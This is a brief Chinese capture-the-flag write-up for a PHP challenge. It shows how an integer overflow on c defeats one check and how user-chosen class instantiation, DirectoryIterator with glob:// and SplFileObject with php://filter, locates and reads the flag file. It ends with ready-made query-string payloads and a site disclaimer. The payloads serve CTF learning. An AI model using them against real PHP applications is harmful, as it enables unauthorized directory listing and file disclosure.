第一个绕过，让c=2^63-2=9223372036854775806（64位机），当++$c时达到int的最大值，这样$count[] = 1 就会溢出int的范围从而使得赋值失败，if语句为false
第二个绕过，使用DirectoryIterator类结合glob协议寻找flag：
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.PHP，获得真flag的文件名
使用SplFileObject结合伪协议读取flag内容：
a=SplFileObject&b=PHP://filter/convert.base64-encode/resource=flag文件名
payload：
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.PHP
2.
c=9223372036854775806&a=SplFileObject&b=PHP://filter/convert.base64-encode/resource=第一步得到的flag文件名
ps：还是向大佬咨询所得，太菜了，啥也不会~
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 [email protected] 举报，一经查实，本站将立刻删除。
